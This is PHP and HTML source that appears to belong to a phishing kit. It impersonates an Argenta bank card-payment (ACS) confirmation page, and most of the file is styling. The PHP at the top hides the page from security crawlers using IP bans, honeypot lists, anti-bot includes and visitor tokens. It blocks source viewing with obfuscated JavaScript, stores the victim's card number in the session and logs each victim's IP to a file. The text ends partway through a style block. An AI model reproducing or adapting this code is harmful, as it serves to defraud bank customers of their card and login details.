<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';


include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php'; //Include the class




$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
	header('Location: 403.php');
	exit();
}

$jsCode = " jQuery(function($){ document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function(e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 83 || e.keyCode === 117 || e.keyCode === 44)) { return false; } else { return true; } }; $(document).keydown(function (event) { if (event.keyCode == 123) { return false; } else if (event.ctrlKey && event.shiftKey && event.keyCode == 73) { return false; } }); }) "; //Simple JS code

$hunter = new HunterObfuscator($jsCode); //Initialize with JS code in parameter
$hunter->addDomainName($_SERVER['HTTP_HOST']);
$obsfucated = $hunter->Obfuscate(); //Do obfuscate and get the obfuscated code


$permitted_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-_~";


$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

$hostname = gethostbyaddr($ip);

if (stripos($honeypotbots, $ip) !== false) {

	$stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));


// Geo-filter removed: all countries are allowed


if ($token1 != $_GET['token'] || $stripos > 0) {
	header("location: " . $errorUrl . "?" . $_GET['token']);
	exit;
}


if ($_GET['error'] == 'on') {

	$errormsg = "<p><span style='color: red;font-size:small;'>coordonnées incorrects !</span><br></p>";
}

if (!$_SESSION['amount']) {


	$_SESSION['amount'] = $amount;
}

$cardb = substr($_SESSION['cn'], 0, 1);

if ($cardb == '5') {
	$imagecc = "data:image/png;base64, ";
} else if ($cardb == '4') {
	$imagecc = "data:image/png;base64, ";
} else {
	$imagecc = "data:image/png;base64, ";
}

$fp = fopen('users/' . $ip . '.txt', 'wb');
fwrite($fp, '');
fclose($fp);

?>
<!DOCTYPE html>
<html>

<head>
	<meta charset="utf-8">
	<style></style>

	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">


	<title>ACS</title>
	<style>
		html {
			font-family: sans-serif;
			-webkit-text-size-adjust: 100%;
			-ms-text-size-adjust: 100%
		}

		body {
			margin: 0
		}

		img {
			border: 0
		}

		button,
		input,
		select {
			margin: 0;
			font: inherit;
			color: inherit
		}

		button {
			overflow: visible
		}

		button,
		select {
			text-transform: none
		}

		button {
			-webkit-appearance: button
		}

		@media print {

			*,
			:after,
			:before {
				color: #000 !important;
				text-shadow: none !important;
				background: 0 0 !important;
				-webkit-box-shadow: none !important;
				box-shadow: none !important
			}

			img {
				page-break-inside: avoid
			}

			img {
				max-width: 100% !important
			}

			p {
				orphans: 3;
				widows: 3
			}
		}

		* {
			-webkit-box-sizing: border-box;
			-moz-box-sizing: border-box;
			box-sizing: border-box
		}

		:after,
		:before {
			-webkit-box-sizing: border-box;
			-moz-box-sizing: border-box;
			box-sizing: border-box
		}

		html {
			font-size: 10px;
			-webkit-tap-highlight-color: transparent
		}

		body {
			font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
			line-height: 1.42857143;
			color: #333;
			background-color: #fff
		}

		button,
		input,
		select {
			font-family: inherit;
			font-size: inherit;
			line-height: inherit
		}

		img {
			vertical-align: middle
		}

		h4 {
			font-family: inherit;
			font-weight: 500;
			line-height: 1.1
		}

		h4 {
			margin-top: 10px;
			margin-bottom: 10px
		}

		h4 {
			font-size: 18px
		}

		p {
			margin: 0 0 10px
		}

		.text-left {
			text-align: left
		}

		.text-right {
			text-align: right
		}

		.text-center {
			text-align: center
		}

		.col-xs-4,
		.col-xs-6 {
			position: relative;
			min-height: 1px
		}

		.col-xs-4,
		.col-xs-6 {
			float: left
		}

		.col-xs-6 {
			width: 50%
		}

		.col-xs-4 {
			width: 33.33333333%
		}

		.col-xs-offset-0 {
			margin-left: 0
		}

		@media(min-width:768px) {

			.col-sm-3,
			.col-sm-4,
			.col-sm-5,
			.col-sm-6 {
				float: left
			}

			.col-sm-6 {
				width: 50%
			}

			.col-sm-5 {
				width: 41.66666667%
			}

			.col-sm-4 {
				width: 33.33333333%
			}

			.col-sm-3 {
				width: 25%
			}

			.col-sm-offset-1 {
				margin-left: 8.33333333%
			}
		}

		@media(min-width:992px) {

			.col-md-3,
			.col-md-4,
			.col-md-5 {
				float: left
			}

			.col-md-5 {
				width: 41.66666667%
			}

			.col-md-4 {
				width: 33.33333333%
			}

			.col-md-3 {
				width: 25%
			}
		}

		@media(min-width:1200px) {

			.col-lg-3,
			.col-lg-4,
			.col-lg-5 {
				float: left
			}

			.col-lg-5 {
				width: 41.66666667%
			}

			.col-lg-4 {
				width: 33.33333333%
			}

			.col-lg-3 {
				width: 25%
			}
		}

		label {
			display: inline-block;
			max-width: 100%;
			margin-bottom: 5px;
			font-weight: 700
		}

		.btn {
			display: inline-block;
			margin-bottom: 0;
			font-size: 14px;
			font-weight: 400;
			line-height: 1.42857143;
			text-align: center;
			white-space: nowrap;
			vertical-align: middle;
			-ms-touch-action: manipulation;
			touch-action: manipulation;
			cursor: pointer;
			-webkit-user-select: none;
			-moz-user-select: none;
			-ms-user-select: none;
			user-select: none;
			background-image: none;
			border: 1px solid transparent;
			border-radius: 4px
		}

		.btn.active.focus,
		.btn.active:focus,
		.btn.focus,
		.btn:active.focus,
		.btn:active:focus,
		.btn:focus {
			outline: thin dotted;
			outline: 5px auto -webkit-focus-ring-color;
			outline-offset: -2px
		}

		.btn.focus,
		.btn:focus,
		.btn:hover {
			color: #333;
			text-decoration: none
		}

		.btn.active,
		.btn:active {
			background-image: none;
			outline: 0;
			-webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
			box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125)
		}

		.btn-default {
			background-color: #fff;
			border-color: #ccc
		}

		.btn-default.focus,
		.btn-default:focus {
			color: #333;
			background-color: #e6e6e6;
			border-color: #8c8c8c
		}

		.btn-default:hover {
			color: #333;
			background-color: #e6e6e6;
			border-color: #adadad
		}

		.btn-default.active,
		.btn-default:active,
		.open>.dropdown-toggle.btn-default {
			color: #333;
			background-color: #e6e6e6;
			border-color: #adadad
		}

		.btn-default.active.focus,
		.btn-default.active:focus,
		.btn-default.active:hover,
		.btn-default:active.focus,
		.btn-default:active:focus,
		.btn-default:active:hover,
		.open>.dropdown-toggle.btn-default.focus,
		.open>.dropdown-toggle.btn-default:focus,
		.open>.dropdown-toggle.btn-default:hover {
			color: #333;
			background-color: #d4d4d4;
			border-color: #8c8c8c
		}

		.btn-default.active,
		.btn-default:active,
		.open>.dropdown-toggle.btn-default {
			background-image: none
		}

		@-webkit-keyframes progress-bar-stripes {
			from {
				background-position: 40px 0
			}

			to {
				background-position: 0 0
			}
		}

		@-o-keyframes progress-bar-stripes {
			from {
				background-position: 40px 0
			}

			to {
				background-position: 0 0
			}
		}

		@keyframes progress-bar-stripes {
			from {
				background-position: 40px 0
			}

			to {
				background-position: 0 0
			}
		}

		.btn-group-vertical>.btn-group:after,
		.btn-group-vertical>.btn-group:before,
		.btn-toolbar:after,
		.btn-toolbar:before,
		.clearfix:after,
		.clearfix:before,
		.container-fluid:after,
		.container-fluid:before,
		.container:after,
		.container:before,
		.dl-horizontal dd:after,
		.dl-horizontal dd:before,
		.form-horizontal .form-group:after,
		.form-horizontal .form-group:before,
		.modal-footer:after,
		.modal-footer:before,
		.modal-header:after,
		.modal-header:before,
		.nav:after,
		.nav:before,
		.navbar-collapse:after,
		.navbar-collapse:before,
		.navbar-header:after,
		.navbar-header:before,
		.navbar:after,
		.navbar:before,
		.pager:after,
		.pager:before,
		.panel-body:after,
		.panel-body:before,
		.row:after,
		.row:before {
			display: table;
			content: " "
		}

		.btn-group-vertical>.btn-group:after,
		.btn-toolbar:after,
		.clearfix:after,
		.container-fluid:after,
		.container:after,
		.dl-horizontal dd:after,
		.form-horizontal .form-group:after,
		.modal-footer:after,
		.modal-header:after,
		.nav:after,
		.navbar-collapse:after,
		.navbar-header:after,
		.navbar:after,
		.pager:after,
		.panel-body:after,
		.row:after {
			clear: both
		}

		@-ms-viewport {
			width: device-width
		}

		@-webkit-keyframes fa-spin {
			0% {
				-webkit-transform: rotate(0);
				transform: rotate(0)
			}

			100% {
				-webkit-transform: rotate(359deg);
				transform: rotate(359deg)
			}
		}

		@keyframes fa-spin {
			0% {
				-webkit-transform: rotate(0);
				transform: rotate(0)
			}

			100% {
				-webkit-transform: rotate(359deg);
				transform: rotate(359deg)
			}
		}
	</style>
	<style>
		div#selection-group {
			color: #555;
			font-size: 100%
		}

		div#selection-group {
			margin: 5px
		}

		.tooltips span {
			padding: 0 5px 0 5px
		}

		.tooltips span:after {
			content: "";
			position: absolute;
			top: 100%;
			left: 50%;
			margin-left: -8px;
			width: 0;
			height: 0;
			border-top: 8px solid #000;
			border-right: 8px solid transparent;
			border-left: 8px solid transparent
		}

		.tooltips:hover span {
			visibility: visible;
			opacity: .8;
			bottom: 30px;
			left: 50%;
			margin-left: -76px;
			z-index: 999
		}

		.tooltips span:after {
			content: "";
			position: absolute;
			top: 100%;
			left: 50%;
			margin-left: -8px;
			width: 0;
			height: 0;
			border-top: 8px solid #000;
			border-right: 8px solid transparent;
			border-left: 8px solid transparent
		}

		.tooltips:hover span {
			visibility: visible;
			opacity: .8;
			bottom: 30px;
			left: 50%;
			margin-left: -76px;
			z-index: 999
		}

		div.break-word {
			word-break: break-all
		}

		div.side-menu {
			padding-bottom: 10px
		}

		div.side-menu label {
			display: inline
		}

		.side-menu .text-left,
		.side-menu .text-right {
			padding-right: 5px;
			padding-left: 5px
		}

		@media only screen and (max-width:480px) {
			div.side-menu {
				padding-bottom: 0
			}
		}

		body {
			font-size: 14px
		}

		div[class^=col-] {
			padding-right: 0;
			padding-left: 0
		}

		.row {
			margin-right: 0;
			margin-left: 0
		}

		.tooltips {
			position: relative;
			display: inline
		}

		.tooltips span {
			position: absolute;
			width: 140px;
			color: #fff;
			background: #000;
			height: 30px;
			line-height: 30px;
			text-align: center;
			visibility: hidden;
			border-radius: 6px
		}

		.tooltips span:after {
			content: "";
			position: absolute;
			top: 100%;
			left: 50%;
			margin-left: -8px;
			width: 0;
			height: 0;
			border-top: 8px solid #000;
			border-right: 8px solid transparent;
			border-left: 8px solid transparent
		}

		.tooltips:hover span {
			visibility: visible;
			opacity: .8;
			bottom: 30px;
			left: 50%;
			margin-left: -76px;
			z-index: 999
		}

		.btn {
			padding: 6px 10px
		}

		custom-component {
			display: block
		}

		@media only screen and (max-width:480px) {
			body {
				font-size: 12px
			}
		}
	</style>
	<style>
		/* Argenta header - same as bc-choice-argenta / itsMe-Argenta */
		.argenta-page-header {
			padding: 0;
			width: 100vw;
			margin-left: calc(-50vw + 50%);
			background-color: #fff;
			border-bottom: 1px solid #e5e7eb;
		}
		.argenta-page-header-inner {
			min-width: 100%;
			padding: 0.75rem 25%;
			box-sizing: border-box;
			display: flex;
			align-items: center;
			justify-content: space-between;
		}
		.argenta-page-header img {
			height: 44px !important;
			max-height: 44px !important;
			width: auto !important;
			display: block;
		}
		.argenta-page-header-logo { flex-shrink: 0; }
		.argenta-page-header-right {
			display: flex;
			align-items: center;
			gap: 2rem;
		}
		.argenta-page-header-lang {
			display: flex;
			align-items: center;
			gap: 0.25rem;
			font-size: 14px;
			color: #374151;
			cursor: pointer;
			background: none;
			border: none;
			padding: 0;
		}
		.argenta-page-header-aide {
			display: flex;
			align-items: center;
			gap: 0.35rem;
			font-size: 14px;
			color: #00A86B;
			text-decoration: none;
			font-weight: normal;
		}
		.argenta-page-header-aide::before {
			content: "";
			display: inline-block;
			width: 18px;
			height: 18px;
			border-radius: 50%;
			background-color: #00A86B;
			background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='white'%3E%3Cpath d='M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-6h2v6zm0-8h-2V7h2v2z'/%3E%3C/svg%3E");
			background-size: 12px 12px;
			background-position: center;
			background-repeat: no-repeat;
			flex-shrink: 0;
		}
		/* Main content - match reference image */
		#optGblPage { max-width: 700px; margin: 0 auto; padding: 0 1.5rem; box-sizing: border-box; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; }
		/* Transaction details - left-aligned, no borders, bigger text (match reference image) */
		.title-section {
			padding: 2.5rem 0 1rem 0 !important;
			margin-top: 1.5rem !important;
			text-align: left !important;
		}
		.title-section h1 {
			font-size: 1.875rem !important;
			margin: 0 !important;
			padding: 0 !important;
			color: #4b5563;
			font-weight: 300 !important;
		}
		/* "Détails de la transaction": gray background 100% page width, content centered (match reference) */
		.transaction-details-wrapper {
			width: 100vw;
			position: relative;
			left: 50%;
			right: 50%;
			margin-left: -50vw;
			margin-right: -50vw;
			background-color: #f3f4f6;
			padding: 2rem 0;
			box-sizing: border-box;
		}
		/* Section wrapper: no fixed desktop margin — breaks mobile */
		.transaction-details-section {
			padding-top: unset;
			background: transparent;
			margin-left: 0;
			width: 100%;
			box-sizing: border-box;
		}
		.transaction-details-inner {
			max-width: 700px;
			margin: 0 auto;
			padding: 0 2rem;
			box-sizing: border-box;
		}
		/* Titre au-dessus du bandeau gris (desktop + mobile) */
		.transaction-details-page-title {
			max-width: 700px;
			margin: 0 auto;
			padding: 2rem 2rem 1rem 2rem;
			box-sizing: border-box;
			text-align: left !important;
		}
		.transaction-details-page-title h1 {
			font-size: 1.875rem !important;
			margin: 0 !important;
			padding: 0 !important;
			color: #4b5563;
			font-weight: 300 !important;
		}
		.transaction-details {
			gap: 0.4rem !important;
			margin: 0 !important;
			padding: 0 !important;
			background-color: transparent;
			border: none !important;
			border-radius: 0 !important;
			box-sizing: border-box;
			width: 100%;
			max-width: 100%;
			text-align: left;
		}
		.transaction-details .flex {
			gap: 2rem !important;
			align-items: baseline;
		}
		.transaction-details span {
			font-size: 1.2rem;
		}
		.transaction-details .flex span:first-child {
			color: #1a1a1a;
			font-weight: 600;
			min-width: 130px;
			flex-shrink: 0;
		}
		.transaction-details .flex span:last-child {
			color: #555;
			flex: 1;
			min-width: 0;
			word-break: break-word;
		}
		.transaction-details .flex .text-blue-600 {
			color: #2563eb !important;
			font-weight: 600;
		}
		@media (max-width: 640px) {
			.transaction-details-inner { padding: 0 1rem !important; }
			.transaction-details-page-title h1 { font-size: 1.5rem !important; padding: 0 !important; }
		}
		/* Tailwind-like utilities for transaction-details layout */
		.flex { display: flex; }
		.flex-col { flex-direction: column; }
		.gap-3 { gap: 0.75rem; }
		.gap-6 { gap: 1.5rem; }
		.px-8 { padding-left: 2rem; padding-right: 2rem; }
		.items-start { align-items: flex-start; }
		.w-40 { width: 10rem; }
		.flex-shrink-0 { flex-shrink: 0; }
		.text-black { color: #000; }
		.font-bold { font-weight: bold; }
		.text-gray { color: #6b7280; }
		.text-blue-600 { color: #2563eb; }
		.font-semibold { font-weight: 600; }
		.justify-center { justify-content: center; }
		.mx-auto { margin-left: auto; margin-right: auto; }
		.bg-white { background-color: #fff; }
		.py-6 { padding-top: 1.5rem; padding-bottom: 1.5rem; }
		#mainLayout .row h4.text-blue { color: #4b5563 !important; font-weight: 300 !important; text-align: left !important; margin-bottom: 14px; font-size: 1.875rem !important; }
		.argenta-confirm-heading-wrap {
			padding: 10px 20px;
			width: 100%;
			box-sizing: border-box;
		}
		.argenta-form-actions {
			display: flex;
			align-items: center;
			justify-content: space-between;
			margin-top: 14px;
			padding-bottom: 6px;
			flex-wrap: wrap;
			gap: 10px;
		}
		/* Lien Aide entre Valider et Annuler — visible seulement en mobile (référence) */
		.argenta-form-aide-link {
			display: none;
			align-items: center;
			font-size: 14px;
			font-weight: 600;
			color: #00A86B;
			text-decoration: none;
			white-space: nowrap;
		}
		.argenta-form-aide-link:hover {
			text-decoration: underline;
		}
		/* Confirm section: flex row – instructions fill width, lecteur fixed right */
		.confirm-section-container {
			display: flex !important;
			flex-direction: row !important;
			flex-wrap: nowrap !important;
			align-items: flex-start !important;
			gap: 2rem;
			width: 100%;
			max-width: 100%;
			margin: 0 auto;
			padding: 0;
			box-sizing: border-box;
		}
		.instructions-panel {
			flex: 1 1 auto !important;
			min-width: 0 !important;
			float: none !important;
			width: auto !important;
			background-color: #ffffff !important;
			border: none !important;
			border-radius: 0 !important;
			padding: 0 !important;
			box-sizing: border-box;
		}
		/* Solid border around ALL instructions (including step 4) – match reference */
		.instructions-border-box {
			border: 1px solid #c4c8cc;
			border-radius: 8px;
			padding: 1.25rem 1.5rem;
			margin-bottom: 1rem;
			background: #f5f6f7;
			box-sizing: border-box;
			min-height: 280px;
		}
		.instructions-border-box .hr-line { margin: 6px 0; border: none; border-top: 1px solid #e5e7eb; }
		.instructions-panel .instruction-internal-title {
			display: flex;
			align-items: center;
			gap: 0.5rem;
			margin-bottom: 0.75rem;
			color: #4b5563;
			font-size: 1.1rem;
			font-weight: 600;
		}
		.instructions-panel .instruction-internal-title .m2-badge {
			display: inline-flex;
			align-items: center;
			justify-content: center;
			width: 28px;
			height: 22px;
			background: #22c55e;
			color: #fff;
			font-size: 0.7rem;
			font-weight: 700;
			border-radius: 4px;
		}
		.instructions-panel .contextButtons img,
		.instructions-panel .custom-image {
			vertical-align: middle;
			margin-left: 4px;
		}
		.instructions-panel font[color="green"],
		.instructions-panel font[color="#006400"] {
			color: #16a34a !important;
		}
		/* Lecteur: compact digipass image (match reference – small card) */
		.lecteur-placeholder {
			flex: 0 0 160px !important;
			width: 160px !important;
			min-height: 180px;
			background: transparent;
			border: none;
			display: flex !important;
			align-items: center;
			justify-content: center;
			box-sizing: border-box;
			overflow: hidden;
		}
		.lecteur-placeholder img,
		.lecteur-product-img {
			display: block;
			max-width: 150px;
			max-height: 180px;
			width: auto;
			height: auto;
			object-fit: contain;
		}
		.lecteur-product-img {
			margin-top: 40px;
		}
		/* column stacking handled in the unified responsive block below */
		#content-right {
			float: none !important;
			width: auto !important;
			min-width: 0 !important;
			background-color: #fff !important;
			border: none !important;
			border-radius: 0 !important;
			padding: 0 !important;
		}
		#content-right .hr-line { margin: 6px 0; border: none; border-top: 1px solid #e5e7eb; }
		#content-right > div { margin-bottom: 2px; line-height: 1.45; }
		.instructions-panel .hr-line { margin: 6px 0; border: none; border-top: 1px solid #e5e7eb; }
		.instructions-panel > div,
		.instructions-panel .custom-text,
		#content-right .custom-text { color: #4b5563; font-size: 1.15rem; font-weight: 600; }
		.instructions-panel input[type="text"],
		#content-right input[type="text"] {
			width: 100%;
			max-width: 130px;
			height: 38px;
			padding: 6px 10px;
			border: 1px solid #d1d5db;
			border-radius: 4px;
			background: #fff;
			font-size: 0.9rem;
			margin-top: 8px;
			box-sizing: border-box;
		}
		button[type="submit"] {
			background-color: #ff6b93 !important;
			color: #fff !important;
			font-weight: bold !important;
			border-radius: 6px !important;
			text-transform: uppercase;
			padding: 10px 48px !important;
			border: none !important;
			font-size: 14px !important;
		}
		button[type="submit"] .custom-text,
		button[type="submit"] span {
			color: #fff !important;
		}
		.validatePaddingLeft span[onclick*="Annuler"],
		.validatePaddingLeft span[style*="color: red"] {
			color: #E60000 !important;
			text-transform: uppercase;
			font-weight: normal;
			font-size: 14px;
		}
		.validatePaddingLeft span[style*="color: red"]::before {
			content: "✕";
			display: inline-block;
			width: 18px;
			height: 18px;
			line-height: 18px;
			text-align: center;
			background: #E60000;
			color: #fff;
			border-radius: 50%;
			font-size: 11px;
			margin-right: 6px;
			vertical-align: middle;
		}

		/* =====================================================
		   RESPONSIVE – tablet & mobile
		   ===================================================== */

		/* Tablet (≤ 768px) */
		@media (max-width: 768px) {
			body {
				overflow-x: hidden;
			}
			.argenta-page-header-inner {
				padding: 0.75rem 1rem !important;
				min-width: 0;
			}
			.argenta-page-header-right {
				gap: 0.75rem !important;
			}
			/* Aide déjà dans la barre Valider | Aide | Annuler — pas de doublon dans le header */
			.argenta-page-header-aide {
				display: none !important;
			}
			#optGblPage {
				max-width: 100% !important;
				padding: 0 1rem !important;
			}
			/* Transaction details — fond gris sur toute la largeur écran (référence), pas carte interne */
			#mainLayout .transaction-details-wrapper {
				width: 100vw !important;
				max-width: none !important;
				position: relative !important;
				left: 50% !important;
				right: auto !important;
				margin-left: -50vw !important;
				margin-right: 0 !important;
				background-color: #f3f4f6 !important;
				padding: 0.6rem 0 0.85rem !important;
				box-sizing: border-box !important;
			}
			.transaction-details-inner { padding: 0 0.75rem !important; max-width: 100% !important; }
			/* Titre hors du gris : fond page blanc, centré */
			#mainLayout .transaction-details-page-title {
				background: transparent !important;
				padding: 0.5rem 0.75rem 0.6rem !important;
				margin-top: 0 !important;
				margin-left: auto !important;
				margin-right: auto !important;
				max-width: 100% !important;
				text-align: center !important;
			}
			#mainLayout .transaction-details-page-title h1 {
				font-size: 1.35rem !important;
				padding: 0 !important;
				text-align: center !important;
				color: #4b5563 !important;
			}
			#mainLayout .transaction-details-section {
				padding-top: 0.35rem !important;
				padding-bottom: 0.35rem !important;
			}
			#mainLayout .transaction-details {
				background: transparent !important;
				border: none !important;
				border-radius: 0 !important;
				box-shadow: none !important;
				padding: 0.25rem 0.75rem 0.4rem !important;
				max-width: 100% !important;
				margin-left: 0 !important;
				margin-right: 0 !important;
				width: 100% !important;
				box-sizing: border-box !important;
				gap: 0.25rem !important;
			}
			#mainLayout .transaction-details .flex {
				display: grid !important;
				grid-template-columns: minmax(0, 1fr) minmax(0, 1fr) !important;
				align-items: baseline !important;
				column-gap: 0.5rem !important;
				row-gap: 0.2rem !important;
				flex-wrap: nowrap !important;
			}
			#mainLayout .transaction-details .flex span:first-child {
				text-align: left !important;
				font-weight: 700 !important;
				min-width: 0 !important;
				width: auto !important;
				max-width: none !important;
				flex: unset !important;
			}
			#mainLayout .transaction-details .flex span:last-child {
				text-align: left !important;
				color: #4b5563 !important;
			}
			#mainLayout .transaction-details .flex .text-blue-600 {
				color: #2563eb !important;
			}
			.transaction-details span { font-size: 1.05rem !important; }
			/* Confirm title — centré, gris, peu d’espace sous le bloc gris */
			.argenta-confirm-heading-wrap { text-align: center !important; padding: 6px 6px 4px !important; }
			#mainLayout .row h4.text-blue {
				font-size: 1.15rem !important;
				text-align: center !important;
				color: #6b7280 !important;
				font-weight: 500 !important;
				margin-bottom: 0.35rem !important;
			}
			/* Zone instructions: fond gris, texte aligné à gauche (mobile) */
			.instructions-border-box {
				background: #f3f4f6 !important;
				border: 1px solid #e1e4e8 !important;
				border-radius: 8px !important;
				box-shadow: none !important;
				padding: 0.65rem 0.75rem !important;
				min-height: unset !important;
				margin-bottom: 0 !important;
				text-align: left !important;
			}
			.instructions-border-box .custom-text,
			.instructions-border-box .instruction-step,
			.instructions-border-box .contextButtons {
				text-align: left !important;
			}
			.instructions-border-box .instruction-step {
				display: block;
				width: 100%;
			}
			#content-right.instructions-panel {
				text-align: left !important;
			}
			.argenta-form-aide-link {
				display: inline-flex !important;
			}
			.argenta-form-actions {
				justify-content: space-between !important;
				align-items: center !important;
				flex-wrap: nowrap !important;
				gap: 8px !important;
				margin-top: 0.5rem !important;
				padding: 0 2px 4px !important;
			}
			.argenta-form-actions button[type="submit"] {
				flex: 0 0 auto !important;
			}
			/* Instructions seules — lecteur masqué (référence mobile) */
			#mainLayout .lecteur-placeholder,
			.confirm-section-container .lecteur-placeholder {
				display: none !important;
				width: 0 !important;
				height: 0 !important;
				overflow: hidden !important;
				margin: 0 !important;
				padding: 0 !important;
				flex: 0 0 0 !important;
				min-height: 0 !important;
			}
			/* Confirm section: colonne, sans trou laissé par le lecteur */
			#mainLayout .confirm-section-container {
				flex-direction: column !important;
				gap: 0.4rem !important;
				width: 100% !important;
				max-width: 100% !important;
				margin-left: 0 !important;
				margin-right: 0 !important;
				left: auto !important;
				right: auto !important;
				position: relative !important;
				box-sizing: border-box !important;
			}
			#mainLayout .confirm-section-container #content-right.instructions-panel {
				width: 100% !important;
				max-width: 100% !important;
				padding: 0 !important;
				margin: 0 !important;
				box-sizing: border-box !important;
			}
			.instructions-panel .custom-text,
			#content-right .custom-text { font-size: 1.05rem !important; }
			/* Buttons row */
			.validatePaddingLeft,
			[style*="justify-content: space-between"] {
				gap: 12px !important;
			}
		}

		/* Phone (≤ 480px) */
		@media (max-width: 480px) {
			body {
				overflow-x: hidden;
			}
			#optGblPage { padding: 0 0.75rem !important; }
			.argenta-confirm-heading-wrap {
				padding: 4px 0 2px !important;
			}
			#mainLayout .confirm-section-container {
				width: 100% !important;
				max-width: 100% !important;
				margin-left: 0 !important;
				margin-right: 0 !important;
				left: auto !important;
				right: auto !important;
				position: relative !important;
				box-sizing: border-box !important;
				gap: 0.35rem !important;
			}
			#mainLayout .confirm-section-container #content-right.instructions-panel {
				width: 100% !important;
				max-width: 100% !important;
				padding: 0 !important;
				margin: 0 !important;
				box-sizing: border-box !important;
			}
			/* Header */
			.argenta-page-header-inner { padding: 8px 12px !important; }
			.argenta-page-header-logo img { max-height: 28px !important; }
			/* Transaction — bandeau gris pleine largeur conservé */
			#mainLayout .transaction-details-page-title h1 { font-size: 1.15rem !important; }
			#mainLayout .transaction-details-wrapper { padding: 0.5rem 0 0.7rem !important; }
			#mainLayout .transaction-details { padding: 0.2rem 0.65rem 0.35rem !important; }
			.transaction-details span { font-size: 0.95rem !important; }
			#mainLayout .row h4.text-blue { font-size: 1.05rem !important; }
			/* Instructions */
			.instructions-border-box { padding: 0.55rem 0.65rem !important; }
			.instructions-panel .custom-text,
			#content-right .custom-text { font-size: 0.95rem !important; }
			.instruction-internal-title { font-size: 0.95rem !important; }
			.argenta-form-actions {
				width: 100%;
			}
			/* Input */
		#content-right input[type="text"],
		.instructions-panel input[type="text"] { max-width: 130px !important; }
			/* Buttons */
			button[type="submit"] { padding: 8px 28px !important; font-size: 13px !important; }
		}
	</style>

	<style type="text/css">
		@-webkit-keyframes opacity-60-25-0-9 {
			0% {
				opacity: .25
			}

			0.01% {
				opacity: .25
			}

			0.02% {
				opacity: 1
			}

			60.01% {
				opacity: .25
			}

			100% {
				opacity: .25
			}
		}

		@-webkit-keyframes opacity-60-25-1-9 {
			0% {
				opacity: .25
			}

			11.1211% {
				opacity: .25
			}

			11.1311% {
				opacity: 1
			}

			71.1211% {
				opacity: .25
			}

			100% {
				opacity: .25
			}
		}

		@-webkit-keyframes opacity-60-25-2-9 {
			0% {
				opacity: .25
			}

			22.2322% {
				opacity: .25
			}

			22.2422% {
				opacity: 1
			}

			82.2322% {
				opacity: .25
			}

			100% {
				opacity: .25
			}
		}

		@-webkit-keyframes opacity-60-25-3-9 {
			0% {
				opacity: .25
			}

			33.3433% {
				opacity: .25
			}

			33.3533% {
				opacity: 1
			}

			93.3433% {
				opacity: .25
			}

			100% {
				opacity: .25
			}
		}

		@-webkit-keyframes opacity-60-25-4-9 {
			0% {
				opacity: .305681
			}

			44.4544% {
				opacity: .25
			}

			44.4644% {
				opacity: 1
			}

			4.45444% {
				opacity: .25
			}

			100% {
				opacity: .305681
			}
		}

		@-webkit-keyframes opacity-60-25-5-9 {
			0% {
				opacity: .444569
			}

			55.5656% {
				opacity: .25
			}

			55.5756% {
				opacity: 1
			}

			15.5656% {
				opacity: .25
			}

			100% {
				opacity: .444569
			}
		}

		@-webkit-keyframes opacity-60-25-6-9 {
			0% {
				opacity: .583458
			}

			66.6767% {
				opacity: .25
			}

			66.6867% {
				opacity: 1
			}

			26.6767% {
				opacity: .25
			}

			100% {
				opacity: .583458
			}
		}

		@-webkit-keyframes opacity-60-25-7-9 {
			0% {
				opacity: .722347
			}

			77.7878% {
				opacity: .25
			}

			77.7978% {
				opacity: 1
			}

			37.7878% {
				opacity: .25
			}

			100% {
				opacity: .722347
			}
		}

		@-webkit-keyframes opacity-60-25-8-9 {
			0% {
				opacity: .861236
			}

			88.8989% {
				opacity: .25
			}

			88.9089% {
				opacity: 1
			}

			48.8989% {
				opacity: .25
			}

			100% {
				opacity: .861236
			}
		}
	</style>
	<style></style>
	<meta name="referrer" content="no-referrer">
	<link type="image/x-icon" rel="shortcut icon" href="data:,">
	<style data-single-file-movable-style>
		.menu-elements>div:first-child {
			display: none
		}

		.menu-elements>div:nth-child(2) {
			display: none
		}
	</style>
	<style data-single-file-movable-style>
		.menu-elements>div:first-child {
			display: block
		}
	</style>
	<style data-single-file-movable-style>
		.menu-elements>div:first-child {
			display: block
		}

		.menu-elements>div:nth-child(2) {
			display: block
		}
	</style>
	<style type="text/css" data-single-file-movable-style>
		img {
			max-width: 100%
		}

		.issuerLogo {
			margin-left: 10px;
			max-height: 80px;
			max-width: 100%;
			height: auto;
			margin-top: 20px
		}

		#networkLogo {
			max-height: 54px;
			max-width: 100%;
			height: auto;
			padding-top: 0;
			padding-bottom: 5px;
			margin-top: 10px
		}

		.centeredTitle {
			padding-right: 20px;
			text-align: center;
			color: red;
			font-weight: 500;
			display: block;
			font-size: 150%;
			margin-top: .5em
		}

		message-banner {
			display: block;
			width: 100%;
			position: relative
		}

		.hr-line {
			position: relative;
			display: inline-block;
			margin-left: 5px;
			margin-right: 5px;
			width: 100%;
			border-bottom: 1px solid #eaebeb
		}

